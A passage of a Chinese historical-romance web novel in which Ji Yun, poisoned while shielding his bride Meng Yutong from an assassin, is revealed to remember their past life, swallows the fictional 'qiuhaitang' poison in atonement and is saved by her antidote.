云舟犹豫一瞬,见侍卫已陆续涌入,便将孟玉桐几人推向一个更为隐蔽、靠墙的厚重帷幕之后,这才转身往纪昀身边去。 纪昀正和两个刺客周旋。他身手很好,但一只手明显使不上力。刺客招招致命,他因要护着身后的皇帝,不免束手束脚。 见云舟过来,他立即喝道:“回去护着少夫人!” 就在这时,孟玉桐忽然感到右侧后方一道凌厉的劲风袭来。她下意识转头,看见青书不知什么时候已经到了跟前,举着匕首朝她刺来。 这一瞬间,极致的惊骇蔓延开,四肢百骸一片冰凉。 时间仿佛被拉长,她能清晰地看到匕首尖端泛着的光泽。 前世被毒药侵蚀五脏六腑、呕血而亡的痛苦记忆碎片般闪过脑海……难道重活一世,竟还是要死在青书手中…… 她下意识地闭紧了双眼,等待着利刃穿透皮肉的剧痛。 预想中的疼痛并未降临。她落入了一个带着清冽药香的温暖怀抱之中。 那怀抱坚实而可靠,将她严严实实地护住,隔绝了外间所有的危险与混乱。她甚至能感觉到他胸膛传来的有力心跳,以及……一声压抑的、闷哼般的痛楚低吟。 孟玉桐猛地睁开眼,恰好撞入纪昀近在咫尺的深邃眼眸中。那里面映着她惊魂未定的脸,以及强忍痛楚的暗色。 “公子!”云舟失声喊道。 原来刚才千钧一发之际,纪昀不顾自己的安危,硬是冲过来用背替她挡了这一刀。 此时,外间的侍卫已完全控制住局面,几名负隅顽抗的刺客见事不可为,纷纷咬碎了齿间毒囊,顷刻毙命。 唯有被纪昀踢碎了下颌骨的那名活口,被侍卫死死按住。青书也被迅速制服,押解下去。 皇帝面色铁青,震怒异常:“给朕彻查!一个都不许放过!” 他看向挡在自己身前、又为救妻受伤的纪昀,眼中满是担忧与赞赏,“淮之,你的伤……” 纪昀脸色苍白,却依旧稳住身形,挡在孟玉桐身前,对皇帝道:“陛下,臣无大碍。今日是臣府上看顾不周,惊扰圣驾,罪该万死!还请陛下速速回宫,以确保安全。” 他肩头大红婚服的颜色愈发深暗,湿濡一片。 孟玉桐的目光死死锁在他右肩胛下方的伤口处,那里插着的匕首周围,洇出的血迹竟隐隐发黑。 她心头巨震,失声道:“纪昀,刀上有毒!” 她话音未落,纪昀身形一晃,再也支撑不住,直直向后倒去。 “淮之!” “公子!” 孟玉桐急忙上前,与云舟一同扶住他软倒的身躯。场面再次陷入混乱。纪昀被众人七手八脚地小心抬起,送往厢房。纪老太爷匆匆赶来,亲自为孙儿处理伤口。 新房外的廊下,孟玉桐与纪宏业、李婉焦急等候着。 李婉紧紧握着孟玉桐冰凉的手,尽管自己也是忧心如焚,仍强自镇定地安慰道:“好孩子,别怕,别担心。他祖父他医术超群,定能救回淮之。淮之他……福大命大,一定会没事的。” 孟玉桐反握住李婉颤抖的手,目光却紧紧盯着那扇紧闭的房门,心中一片冰冷的沉郁。这精心策划的刺杀,这淬毒的匕首……瑾安,你当真疯魔至此了吗? 孟玉桐心中沉甸甸的。 今日纪昀是为她挡的这一刀,若他真有个好歹,她实在难以心安。 李婉看出她的自责,便让白芷和桂嬷嬷先带她下去梳洗:“我们这么多人守在这里也无用,你先去歇歇,换身衣裳。” 孟玉桐摇了摇头,目光仍紧锁在那扇紧闭的门上。 李婉轻叹一声,柔声道:“我们年纪大了,熬不得夜。待他伤口处理妥当,后半夜还要靠你多费心照料。你现在先去歇会儿,养足精神才好。” 听她这么说,孟玉桐这才应下。她匆匆梳洗一番,换了身轻便的衣裳,很快又回到了房门外守着。 孟玉桐回来没过多久,房门吱呀一声开了,纪老太爷走了出来,面色凝重。 “匕首上淬了毒。”他声音低沉,“我已将染毒的皮肉尽数剜去,阻了毒素蔓延。但仍有少量毒质渗入血络……不知何时才能醒过来,只能先静观其变了。” 他顿了顿,看向垂手侍立的云舟,“他小臂上那道旧伤又是怎么回事?伤口极深,几可见骨。往后他这只手,怕是使不上大力气了。” 云舟一愣,随即低下头,默不作声。 孟玉桐却心头一紧。手上的伤? 是上次采药时留下的吗?可他当时明明轻描淡写地说无事……难道他一直在瞒着她? “祖父,”她上前一步,“后面交由我来照看吧,你们都去歇息。” 纪老太爷看了看她,颔首道:“也好,你通晓医理,由你看护最为妥当。” 他语气放缓,带着难得的宽慰,“你也莫要过于忧心自责,此事谁也不想发生。” 这位素来端方严肃的老人,还是头一回这般轻声细语地安慰人。李婉与纪宏业对视一眼,几人便先行离开了。 待他们离去,孟玉桐轻轻推开房门。 纪昀仍在昏睡之中,因失血过多,脸色苍白如纸,长眉紧蹙,似乎极不安稳。 他肩上的伤已被仔细包扎妥当,白色的绷带下仍能看出明显的隆起,可见伤口之深。 她走到床边,小心翼翼地执起他的左手,那是他上次凤凰山采药受伤的手。轻轻卷起衣袖,一道狰狞的疤痕赫然映入眼帘,蜿蜒在他结实的小臂上x,当时必是深可见骨。 她的指尖极轻地避开伤处,仔细探查其下的筋骨状况。这只手伤势沉重,经络受损,往后怕是再难恢复如初。 孟玉桐心中一时百味杂陈。 她替他掖好被角,起身走到窗边,想透一口气。 她推开窗,微凉的夜风拂面而来。清冷的月光洒满庭院,与廊下尚未撤去的红绸交织在一起,给这小院平添了几分既熟悉又陌生的静谧。 窗下那丛湘妃竹随风轻摇,竹叶发出细碎的沙沙声。孟玉桐的目光落在竹影上,下意识地蹙了蹙眉——对这竹子,她始终喜欢不起来。 正要关窗,她的目光无意间扫过窗边那片空地,动作不由一顿。 新房内红烛未熄,陈设简洁而喜庆。除了那张宽大的拔步床、一扇花鸟屏风、一套书桌书架,再无多余赘物。 窗边那块地方,空荡荡的,什么也没有。 奇怪。她分明记得,前世这屋里窗边一直摆着一张矮榻。纪昀这人秩序感极强,不喜随意变动屋内陈设,那榻在她记忆中的三年里从未挪动过。 如今,那张榻去了哪里? 若这房中只有一张床,日后她与纪昀同住于此,起居未免太过不便。 她走回床边,见床内侧叠放着好几床崭新的锦被,心下稍安。好在被褥充足,实在不行,打地铺也能将就。她打算着,新婚头一两个月暂且留在纪府,之后便可借照隅堂事务繁忙之由,搬回医馆去住。 这么想着,她便动手抱了两床被子,在床边的空地上简单铺了个地铺,和衣躺了下来。 今日经历了这般惊心动魄,她确实累了。可一阖眼,那闪着寒光的匕首、纪昀扑过来时决绝的眼神,便历历在目。 分明只是一场权宜之计的婚姻,一场交易而已。他为何要舍命救她? 她侧过身,望着床上纪昀昏睡的侧脸。这一世的他,为何与从前判若两人?方才那般凶险,他本不必为她涉险。 还有青书。青书显然是得了瑾安的指使,想趁乱取她性命。 即便青书如今跟在瑾安身边,可他终究曾是纪家的人。若真要追究,只怕也难以牵连到瑾安头上。 瑾安向来如此,表面柔弱无害,实则步步为营。每次作恶,她总能将局面谋划得天衣无缝,将自己摘得干干净净。 可即便她能指使青书,又从哪里寻来那么多身手不凡的死士? 今日之事,只怕贤太妃也脱不了干系。 纪昀还昏迷,她脑中飞快思索,决定让人去给景福传个信,提醒她这件事。 第109章 第109章奉还 孟玉桐正凝神思忖着婚礼上的种种蹊跷,忽闻床榻之上传来一声极轻的呓语,声音微弱,几不可闻。 她起身走近,俯身细听。屋中烛火跃动,映照着纪昀苍白的侧脸,他额间渗出细密冷汗,眉头微微蹙着,紧抿着唇,显出一股虚弱的病气。 像是一碰就会碎的瓷人儿似的。 她站在一旁盯着看了几息,只见他忽然开口,口中断断续续地溢出几个字:“阿萤阿萤” 孟玉桐身形微僵,竟有一瞬恍惚,以为是自己听错了。 他怎会在昏迷中唤出她的小名? 待她再凑近些,却听见那声音不是错觉,愈发清晰,说的是:“对不起阿萤,对不起” 她蹙起眉,不解其意,轻声问道:“纪昀,你在对谁道歉?” 榻上之人似是被梦魇缠身,苍白的面容显露出极大的痛苦,声音也破碎断续:“阿萤……那秋海棠……定是极痛的吧……都怪我……是我没保护好你……” 秋海棠? 这一世的她,并未中秋海棠之毒,他说的难道是…… 孟玉桐浑身一颤,踉跄着后退一步。 她不可置信地望向榻上之人,心口抑制不住紧密跳动起来,险些透不过气。 难怪,难怪。 他这一世判若两人,行事作风与从前大相径庭,她竟从未想过这个可能。 纪昀定是也想起来了。上一世的一切,那些对她而言刻骨铭心的前尘,他也都记得。 她怔怔地望着他,眸中情绪翻涌,似惊涛拍岸,难以平静。 便是在此时,纪昀回过了些神,缓缓睁开了眼。 甫一睁眼,便见孟玉桐面色苍白,神色惊惶,瞧着十分不对劲,他心头一紧,以为她是被宴席上的变故吓着了,强撑着要起身:“玉桐,你可有受伤?” 话音才落,纪昀便因动作太急牵动伤口,他捂着胸口剧烈地咳嗽起来,单薄的身躯在锦被下不住颤抖。 今日婚礼,圣上亲临,他虽不信瑾安真的会在这样的日子做出什么大逆不道之举,却也不敢松懈,安排了一些人守在后院。 故而前厅发生动乱之时,救援的人能来得那样迅速。 只是他万万没有想到,瑾安这次的目的竟然不在救驾,反而让青书趁乱去取孟玉桐的性命。 幸好,幸好他拦住了…… 孟玉桐站在一旁,居高临下地凝视着他,眼中的惊惶渐渐褪去,取而代之的是寸寸凝结的冰霜。 “纪昀,“她的声音也冷得像冰,“你是从何时起,想起了前世种种?” 纪昀的动作骤然僵住。 他猛然抬头,四目相对,他看见她眼中毫不掩饰的憎厌,一颗心直直沉了下去。 纪昀有些慌乱,费力地抬起手,想要触碰她的衣袖,却被她狠狠挥开。 “回答我,”她的声音冷得可怕,连看也懒得看他,“你想起以前的事情,是在与我定下婚事之前,还是之后?” 她那样好脾气,那样善良慈和的人,此时却如此毫不掩饰自己的不悦与厌恶。 她知道了。 她定是厌恶极了他。 “八月十五,”他的声音干涩沙哑,喉头漫上一股腥甜,又渐渐化作涩意,“中秋那夜全都想起来了。” “很好,”孟玉桐唇角勾起一抹讥诮的冷笑,“原来如此。难怪后来你处处示好,百般维护。纪昀,你现在这般作态,不觉得荒唐可笑吗?” 说罢,她决然转身往外走。 “阿萤!”纪昀顾不上伤势,踉跄着翻身下榻,伸手拉住她的手腕。指尖触到她冰凉的肌肤,他的心也跟着一颤,“你听我解释……” “放手。”孟玉桐用力一甩。 他本就重伤在身,另一只手臂旧伤未愈,被她这么一推,竟是直直跌倒在地。 肩头的伤口再度崩裂,殷红的血渍在雪白的中衣上泅开。剧痛与急火交攻之下,他眼前一黑,终是支撑不住,昏死过去,倒在了地上。 孟玉桐脚步微顿,却终究没有回头。 她去外头喊了云舟进屋,便带上桂嬷嬷和白芷回了照隅堂。 夜色深深,凄冷寂静,将她离去的背影吞没,只余一室寂寥,和榻边那盏明明灭灭的孤灯。 云舟匆忙进屋,瞧见眼前的情景,惊得说不出话来。他赶忙将倒在地上的纪昀扶上了床榻,又去叫了李婉和纪宏业过来。 纪昀才包扎好的伤口裂开,胸口被洇红一片,李婉瞧着眉头直打哆嗦,手也跟着颤个不停。 纪宏业上前替纪昀重新包扎好了伤口,又细细问了云舟发生了何事,孟玉桐去了哪里。 云舟只说两人似乎大吵了一架,具体是因为什么他却不清楚,只看见孟玉桐带上桂嬷嬷和白芷离开了,应该是去了照隅堂。 李婉听得心口一酸,“这孩子,伤得这么重,怎么还下床了?他和玉桐这是怎么了。好端端的,怎么玉桐就回了照隅堂去?” 纪宏业轻轻皱眉,孟玉桐是个斯文温柔的人,若不是十分紧要的问题,她怎会同昀儿吵成这样,还连夜带着人离开了。 他心中觉得有些不对,隐约猜到些什么,只好按住李婉的肩,轻轻摇头:“有些心结,旁人插不上手。让他们自己解决吧。等昀儿醒了,他要做什么便让他去,我们不必拦着。待玉桐也是,他们都是有想法有主见的好孩子,我们不要过多插手。” 李婉点点头,两人就这么守在纪昀床边,没再说话。 * 月色西沉,万籁俱寂。回到照隅堂后,孟玉桐未点灯烛,径直走入房中掩上门扉,独坐于一片阒暗之中。 桂嬷嬷与白芷面面相觑,虽不知具体发生何事,但见孟玉桐神色凝霜,又于新婚夜匆匆离府,心下也猜到几分。二人不敢多言,只远远守着,屏息静候。 窗外秋风萧瑟,卷起零落枯叶叩击窗棂,发出簌簌轻响,更添寂寥。 孟玉桐临窗而坐,初闻纪昀亦忆起前尘时那阵惊涛骇浪般的x震愕与被欺瞒的厌恶,此刻已渐渐平息。回到这方属于她的安心之地,心绪也沉淀下来。 纪昀是否忆起往昔,本与她无甚相干。重生以来,她所求所愿,桩桩件件皆与他无关,那么他想与不想,于她而言,原也不该有什么分别。 可方才在纪府,那瞬间涌上的怒意从何而来?连她自己也未能参透。 心绪微烦,她索性不再深想,执起灯烛点燃,取出前次未写完的宣纸,于纸笺后续写近日看诊所见杂症与心得。 墨迹渐干,心亦随之沉静。她终于长长呼出一口气,搁下笔,熄灯安寝。 翌日,天色阴沉,秋风瑟瑟,照隅堂如常开诊。 桃花街上左邻右舍见医馆照旧营业,皆有几分讶异。 有人特意来问:“孟大夫,怎的新婚头一日也不歇息?” 前来就诊的病患亦关切道:“是啊孟大夫,便是歇上几日也无妨的,我们还以为这几日医馆不开门呢。” 孟玉桐神色平静如常,浅淡一笑:“医者本分,不敢因私废公。诸位挂心了。” 她一如往日般望闻问切,闲暇时便潜心钻研药茶方剂,神情专注,举止从容,仿佛与成婚前并无二致。 若非暮色四合时,纪昀忽然出现在门外的话。 白芷悄悄瞥向柜台后正低头整理药材的孟玉桐,犹豫片刻,终是上前低声道:“姑娘,纪医官来了,正在门外候着。” “嗯。”孟玉桐并未抬头,目光仍凝在手中药方上。 方才依此方调配的药茶涩味稍重,需添一味甘草调和。 她提笔蘸墨,专心修改方子,对门外那人只字未提。 白芷只得退回一旁帮忙,余光却不时瞥向门外。 纪昀独自静立,望着馆内那道熟悉的身影,往日清隽挺拔的身姿此刻难掩憔悴,面色苍白如纸,憔悴虚弱得很。 夜色渐深,秋寒侵肌。绵绵秋雨不知何时悄然飘落,如丝如雾,沾湿了他的衣袍发梢。 他依旧伫立雨中,宛若一尊凝固的石像,肩伤疼痛阵阵袭来,他却浑然未觉,目光始终胶着在那盏温暖灯火下的身影上。 夜愈深,雨势渐密。 吴明实在看不下去,上前劝道:“姑娘,纪医官已在雨中站了两个时辰,他身上还带着伤……” 白芷也轻声附和:“这般淋雨,伤势若再加重,只怕……” 孟玉桐笔尖微顿,方子恰在此时修改完毕。她沉默片刻,窗外适时传来几声压抑的低咳。 她蹙了蹙眉:“请他进来吧。” 吴明如释重负,忙出门将纪昀引入室内,随即与白芷悄然退下,掩好房门。 纪昀踏入屋内时步履微踉,伸手扶住门框方稳住身形。烛光融融,映照着她清冷的侧颜,却照不进那双疏离的眼眸。 “纪昀,你究竟想做什么?”她的声音里透着显而易见的疲惫与不耐。 “阿萤,”他嗓音沙哑,似蕴着无尽痛楚,“从前种种,皆是我之过。今日前来,非为乞恕。只求你,莫要如此决绝。” 他从未如此低声下气,也从未如此害怕。 “我们之间,不过利益交换,各取所需。” 她垂眸避开他的视线,长睫在眼下投下淡淡阴翳,“昔日你未忆起前尘,我尚可暂且搁置旧事,与你逢场作戏。可如今……” 她抬眸直视他,目光如淬寒冰:“前尘往事,你既想起,我也未曾忘却。你我之间,再也回不到从前。这桩婚事既建于欺瞒之上,和离之期,还望提前。” 听得她说‘和离’二字,纪昀眼中,蓦然一沉。 他急急打断,似怕她下一刻便说出更决绝的话,“我知你心意既定,从难转圜。往日亏欠,皆是我自作自受。” 他颤抖着手自怀中取出一只青花瓷瓶。 那是个再普通不过的青花小瓶,从外头看着并无什么特别。 可仔细瞧着却莫名有两分眼熟。 似乎是……是那日她与纪昀在小院分析出秋海棠之毒后,他将多余的毒汁收集了起来,用的正是这只小瓶! “这秋海棠之毒,你曾因我承受。” 他拔开瓶塞,动作快得令人不及反应,仰首将小瓶凑到嘴边,“今日我悉数奉还。” 第110章 第110章不断 “你疯了!”孟玉桐霍然起身,一把挥落他手中的瓷瓶。药瓶在地上滚了几圈,漆黑的药汁如墨迹般洇开。她动作已够快,可纪昀还是咽下了一口。 剧痛如燎原之火瞬间席卷全身,纪昀额上沁出细密冷汗,修长指节死死扣住她的手腕,青筋毕露:“我不求原谅……只求你别不理我……” “解药在何处?”孟玉桐又惊又怒。 得知孟玉桐知晓他已想起一切后,他第一次看到那样决绝的她。 上一辈子,他给她的带来的只有失望和痛苦,他无法想象,最后孟玉桐喝下秋海棠时,是怎样的痛苦和心碎。 这些都是他欠她的,他本就该还给她。 是他此前总存着一些侥幸,他觉得还有机会挽回……可没有机会了。 今日来照隅堂之前,他已去见过了景福公主,告知她秋海棠一毒的细节,是由金盏红玉的花调制而成,而那盆花,据青书所说,如今依旧还在瑾安宫殿之中。 孟玉桐已然知晓往事,她不可能原谅他,而若他今日因秋海棠之毒而死,于他而言也算解脱。景福可由此联动前次瑾安设下秋海棠毒害景福一案,如此,瑾安定然再无翻身之机。 至于贤太妃那边,她这些年所做恶行不少,他虽收集了许多证据,但要正真让她落败,再无翻身之机,总还缺了那么点。 而瑾安自始至终针对的一直是他,因为自己害死了她心中唯一的光,她便不能忍受兄长死后,他作为那个罪魁祸首,还能如此心安理得追求幸福。 她偏偏要毁了他的幸福,就像他从前毁了她的一样。 若是他死了,瑾安再无争斗的心气,也不会再替贤太妃遮掩,此次的刺客一案,由那位活口死士查出与太妃的联系便不是难事。 如此,孟玉桐未来便只管经营好她的照隅堂,再没有可威胁到她的人。待到来年参加官册选拔,以她的实力,自然没有问题。 没有了他,她未来的日子,会过得很好,她身边还有亲人,朋友,她会得到她想要的一切…… 他恍若未闻,固执地凝望着她,唇角渗出一缕暗血:“……阿萤,别厌弃我……” “纪昀!解药呢!”她急声喝问。 五脏六腑似被无形之手狠狠拧绞,痛得他险些喘不过气,他扯出一抹惨淡的笑,气若游丝:“原来你那时……这么痛啊……” 他颤抖着手,从怀中掏出一封信,黄色纸封包着,看不清里头是什么东西。 他将那信纸拿着,塞入孟玉桐手中,“等我死后,你再打开……” 孟玉桐察觉他已有些神志昏沉,只是本能地攥紧她的衣袖。再这般下去,他当真会殒命于此。 真是个疯子! 他上次带回的解药并未直接给她,也不知纪府还有没有。孟玉桐心下慌乱起来,若此时去纪府,一来一回,他定然是等不到她取回解药的。 到底该怎么办。 孟玉桐心乱如麻,随手将他递过来的信纸拂开,她脑子里飞快思索着,还有没有什么办法? 屋外传来一阵清亮的鸟啼,她忽然一顿。 不对,秋海棠的解药……他曾送过一份来给刘思钧的那只鸽子解毒。 只不过那鸽子服下一些后便好转了,剩下的解药她也没丢弃,而是随手收了起来,收在了她随身的那枚玉葫芦中。 她猛然忆起,半扶半抱着将他带往内室,安置在床榻之上。 他颓然侧卧,双目紧闭,长睫在剧痛中不住轻颤,薄唇抿成苍白的线,连呼吸都带着隐忍的战栗。 孟玉桐不敢耽搁,急步至柜前翻找,终于在抽屉深处找到那枚玉葫芦。 她指尖微颤,几乎握不住这救命的物事,好不容易拧开壶盖,扶起他些身子,将解药强灌入他口中。 纪昀已痛得说不出话,只固执地抬手指尖勾住她的衣角,任由她动作。 待终于喂他服下解药后,孟玉桐紧绷的心弦才得了几息缓和,她将手中的玉葫芦收起来,心中涌起后怕。 正要起身,纪昀似有所觉,勾着衣角的手忽而揽上她的腰肢,用尽最后一丝力气,将她一同带倒在榻上。 他身上的疼痛似乎并未因为解药的服下而有所缓和,且他那双臂膀,分明各自有伤,却仍使劲力气,牢牢环在她的腰间。温热的呼吸喷洒在她颈间,她清晰感受x到眼前人身体之下传来的压抑的,痛苦的颤抖。 她深知这般滋味——五脏六腑似被钝刀反复磋磨,每一次呼吸都如踏刃而行,恨不能立时了断…… 孟玉桐被他箍得身子发僵:“你这是做什么?” “别离开我……”他嗓音沉哑,气息微弱,近乎祈求。 此刻若她执意挣脱,他定然无力阻拦。 他也大可以像从前一样,将所有一切情感,一切期盼都掩藏于心,忍一忍,也就过去了。 可他不愿再那般了,所有的顾虑,计较,一切的自尊,高傲,他都不要了。 他只要孟玉桐。 他卑微祈求:“至少现在……别离开我……阿萤” 孟玉桐默然良久,“我方才已经喂你服下解药,你暂且无性命之忧,我认真想了想,我们昨日才成婚,现在与你和离的确有诸多弊端。我便退一步,这段时日,我们夫妻的名义还在,但我依旧会住在照隅堂,和从前不会有不同。待到合适的时机,我们再好好商讨这件事。你意下如何?” “好。”纪昀嗅着她怀中令人安心的馨香,紧绷的四肢终于渐渐放松下来。 她说,暂不和离。 他悄悄将脸埋得更深,环着她的手臂又收紧几分。 “纪昀,有件事我一直不解。前世桂嬷嬷忌日次日,你为何会起满红疹?”孟玉桐忽问。 怀中人身形微滞。 “嗯?”她垂眸看他。 “你醉酒那晚,我亲了你。”纪昀闭着眼睛,应该说,他此时身上没有力气,所有的力气,都用来抱紧孟玉桐了。 他没有力气抬眼。 应该不是因为羞愧无颜见她而不敢看她。 他在心中如是告诉自己。 “你倒是理直气壮,”孟玉桐从未想过真相竟是如此,心头泛起丝丝恼意:“既对我无意,为何要亲我?” “怎会无意?”他倏然睁眼,墨色眸中暗潮汹涌,似要将人卷入深渊,“我对你,从来都不是无意。” “既然如此,又为何疏远我、冷待我、对我的种种示好置若罔闻?”孟玉桐凝望着他,眸光清冽如寒潭。 两人气息交缠,近在咫尺,可这方寸之间,却横亘着她前世漫长的等待、无尽的失望与最终的心灰意冷。 纪昀喉结微动,声音低沉而艰涩:“是我自以为是,以为疏远便是护你周全。也是我虚伪怯懦,既想完成兄长遗志,又妄想能与你有朝朝暮暮。” 孟玉桐微微蹙眉。这细微的神情落入纪昀眼中,让他的心也随之沉了沉。 “你松些力道,”她轻声道,“我有些喘不过气。” 纪昀闻言立即松了臂膀,眼底掠过一丝慌乱:“可还难受?” 那双手却仍虚虚环在她身后,不敢全然撤离,仿佛怕她一瞬便会离去。 孟玉桐静静理着前世的因果脉络,心头竟奇异地平静无波:“如此说来,上一世是瑾安以我的安危胁迫于你。而你兄长的遗愿,便是治好她的心疾?” 纪昀颔首:“你嫁入纪家那年临近岁末,桂嬷嬷在乡间遭遇意外。后来我方知,那并非意外,而是瑾安的手笔。起初我以为能护你无虞,可渐渐发觉,她对我的恨意早已深入骨髓。她骨子里偏执疯狂,做事不计后果,手段狠绝,加之救驾后更得圣心……我不敢有丝毫侥幸。” 他胸口之中,余痛未散,说完这一大段,他的喘息之声便愈发重了,他顿了顿,缓和了片刻,唇边泛起一丝苦涩:“甚至,她从未信我。每次入宫问诊开方,那些药她一概不用,只服用兄长早年留下的旧方。我便是有心在药中做些文章,以此制衡,亦是无计可施。” 说到此处,他自嘲地弯了弯唇角:“即便此法可行,那时的我大抵也不会如此。我亏欠兄长太多,总妄想能求个两全。” 孟玉桐打断他,眸中神色疏冷:“那如今的你呢?我本不愿与瑾安纠缠,可步步退让只换来她变本加厉。如今又知前世桂嬷嬷命丧她手,我与她之间,已无转圜余地。若你仍顾念兄长遗愿,有意维护,那你我之间,也该就此了断。” “不断。”纪昀的手臂再度收紧,清隽的眉眼间竟流露出几分与往日清冷截然不同的执拗,他今日来找她,本是存着见她最后一面的心思,可上天锤怜,既然让他活了下来,他便不可能再放手。 “她执念已深,我不能再看她肆意妄为。兄长仁善,若在天有灵,也绝不愿见更多无辜之人受她牵连。她该为自己的所作所为付出代价。” 他眸光转沉,隐现锐芒:“原本,行刺一事的细节,我悉数都交付给了姨母,请她主持周旋,还你公道。可如今……” 他略做停顿,他如今没死,这些事情,自然由他亲自来做,“明日我便入宫。行刺之事,无论牵扯瑾安还是太妃,总该有个交代。还有青书……我曾以治愈瑾安心疾为代价,让他蛰伏静岚轩,却不知瑾安又同他说了什么。他此次甘愿做瑾安的刀,定然想好了退路,刺客一事,他只怕是打算自己揽下。” 孟玉桐点头,“若是如此,大约是无法定瑾安死罪的。” “无妨,青书这些年与瑾安来往,自然留下了些蛛丝马迹,我想过他即便去了静岚轩,也不一定会听从我的吩咐,关于他从前与瑾安的联系,我也收集了证据。只不过……此次,我并不想只是单单对付瑾安,还有贤太妃,一并拉下,才能永绝后患。若明日得不到令我满意的结果,我自有办法让这案子再拖一拖,待我去搜集其他的证据,一击致命方能安心。” 在他原本的计划里,今日他因秋海棠而死,瑾安之罪顺理成章,而他死后,瑾安再没了仇恨和斗争的对象,亦不会与贤太妃再继续交易,从她那处谋求利益,他可借机扫清所有障碍。 可如今……他没死。 事情便稍稍复杂了些。 他眸中闪过一丝笃定,过程复杂些而已,结果不会有任何变化。 “我瞧着你精神恢复了不少,”孟玉桐推了推他肩头,“松手,去楼上歇息。” 他却顺势将额头抵在她颈侧,嗓音闷哑:“你别推我……头晕。” 未等她反应,他又低声道:“明日还要入宫,若有事待我回来再议。” 语毕竟阖目沉沉睡去,手臂仍紧紧环在她腰间,生怕她跑了似的。 孟玉桐望着头顶帐幔,那垂落的一角在微风中轻轻摇曳,她的神思也随之飘忽不定……心中漫上一片空茫的无奈。 她身边这个死乞白赖的人,是纪昀? 夜色深沉,烛火在墙上投下一对模糊的影子。她听着他微弱的呼吸声,感受着他滚烫的体温,心中却像是堵了一团棉花。 他们二人之间,日后要这样含糊不清地相处吗? 她心中尚未完全理清思绪和感情,只觉得一团乱麻,越想越头疼。 罢了,往后的事情,往后再说吧。 先解决瑾安的事情更为要紧。孟玉桐也有些疲累,便懒得再去管纪昀,干脆也闭上了眼。 夜色之中,纪昀悄然睁开眼,眸光静静凝着身旁之人的侧脸。 不知看了多久…… 翌日清晨,孟玉桐醒来时,枕畔已空。晨曦透过窗棂,在锦被上投下细碎的光斑。 她起身行至桌前,见一方素笺镇在茶盏下,墨迹清峻如其人: “入宫彻查前日之事,晚归勿念。” 字迹沉稳,仿佛昨夜那个脆弱执拗的纪昀只是幻影。 她指尖轻抚过墨痕,心下思忖:前夜刺杀未遂,以瑾安之谨慎,当真会留下把柄么?突破口恐怕仍在那个被生擒的死士,与青书身上。 念及青书,她眸色微沉,他对纪昭忠心耿耿,又将瑾安视作纪昭的延续,纪昀说得不错,他怕是宁死也不会背弃瑾安。 也不知纪昀所说,他所掌握的青书与瑾安此前勾结联系的证据,能否坐实瑾安的罪名。 至于那名死士……那行人能在大婚之日穿过重重检验,潜入守卫森严的喜堂,绝非瑾安一人之力可为。 此事与贤太妃定然也有关系。 若此事当真与她有关,在这风口浪尖上,那位精于算计的太妃,可会弃车保帅? “啪嗒——” 窗外一声轻响引她抬头。但见秋风卷过柿树,一枚熟透的果实不堪风力,坠落在地。橙黄的果肉迸裂,汁水四溅,在青石板上晕开黏腻的痕迹。 孟玉桐凝视着那狼藉的残果,轻轻摇头。 贤太妃这般精明之人,定会做出最利于己身的抉择。只是瑾安,以她的性子,难道当真会坐以待毙么? 自从重生以来,孟玉桐素来只愿悬壶济世,远离权贵纷争x。可树欲静而风不止。 前世桂嬷嬷惨死、自己饮毒身亡、江家的倾覆、祖母的伤……这一世屡屡被逼至绝境,新仇旧怨翻涌不停,早已让她不胜其烦。 瑾安,贤太妃,都该为所作所为付出代价。 只是贤太妃深得圣心,若无确凿罪证,恐难动摇其分毫。 孟玉桐垂在身侧的双手悄然握紧,指节微微发白。目光再度落向那棵柿树——待秋风卷尽枝头累果,只剩枯枝时,再要连根拔起,便容易得多。《 》 110-114 第111章 第111章转机 暮色四合,秋日的余晖为济安堂的院落镀上一层暖金。庭院里,几排竹架上晾晒着孩童的衣裳,在晚风中轻轻摇曳,宛若彩幡。 角落里的木马漆色斑驳,秋千架上系着的红绳也已褪色,却仍随着微风轻轻晃动,仿佛刚有孩童在此嬉戏过。 墙角处,几丛晚菊开得正盛,淡雅的香气与不远处那株老桂树的甜香交织,在空气中氤氲成一片温暖的芬芳。 孟玉桐带着白芷踏入院门,手中捧着新制的秋冬衣裳与几包常用药材。这些时日忙于婚仪琐事,已许久未来看望孩子们。 “孟姑娘可算来了!”秋娘闻声从屋里迎出,眼角笑纹深深,忙接过她手中的物什,“孩子们前几日还念叨呢,说孟姐姐怎么许久不来,莫不是将他们忘了。” 几个正在院中玩耍的孩童闻声围拢过来,脆生生地唤着“孟姐姐”。待瞧见她带来的物什,又一窝蜂地聚到石桌旁,好奇地翻看那些新奇的玩具,阵阵欢笑声在院中回荡。 孟玉桐与秋娘在石凳上坐下,含笑望着这温馨景象。秋娘轻叹一声,语气温柔:“听说姑娘与纪医官已成婚,还未恭贺新婚之喜。二位郎才女貌,实在是天作之合。”她顿了顿,压低声音道:“不瞒你说,我原还想着将你介绍给我那侄儿,如今看来是晚了一步。” 秋娘目光慈爱地望向嬉戏的孩子们,续道:“纪医官面上虽冷,心里却最是柔软。每月雷打不动来此义诊,风雨无阻。孩子们都爱缠着他问东问西,这济安堂的用度也多亏他暗中接济。这般仁心,定会是个好夫君。” 孟玉桐浅笑不语,指尖无意识地轻抚石桌的纹路。 这时,一个小小身影悄悄挤到她身边。 就在这时,她身边忽然挤进了一个小人,那小姑娘带着她送来的小猫面具,头上扎两个小抓髻,从面具孔洞中能看见一双弯弯的笑眼。 夕阳的余晖洒在面具上,映出温暖的光晕。待她凑近细看,才发觉那小姑娘的瞳孔竟是罕见的琥珀色。 “小雪,你不是天天盼着孟姐姐来吗?”秋娘柔声提醒,“快让姐姐陪你玩会儿。” 小雪摘下面具,露出清秀的小脸。她轻轻拽了拽孟玉桐的衣袖,眼巴巴地望着,满是期待。 孟玉桐却微微怔住。 凝视着这双琥珀色的眼眸,她恍惚间似看到另一张面孔。一个隐秘的念头悄然滋生,她不由自主地握住小雪的手,心潮暗涌。 “小雪乖,”她轻抚女孩的发顶,“先去那边玩会儿,我与秋娘说几句话便来找你。” 小雪抱着面具欢快点头,蹦跳着跑到墙角蹲下,专心致志地观察起搬家的蚂蚁。 孟玉桐转向秋娘,问道:“秋娘,小雪如今多大了?” 秋娘略一思索,随即答道:“她被送来济安堂的时候,应当是一岁多的年纪,来济安堂已有三年,如今算起来,有四岁了。” 孟玉桐听完,心中的猜疑更甚,这么说来,年龄也对得上。 她记得纪昀曾提过,小雪是被人遗弃在济安堂门前的。 她又问:“小雪被送来的时候,身上可有什么信物?” 